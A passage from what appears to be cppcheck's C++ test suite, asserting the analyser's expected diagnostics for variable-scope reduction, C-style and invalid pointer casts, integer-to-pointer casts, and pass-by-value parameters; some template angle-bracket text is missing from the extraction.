(str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class 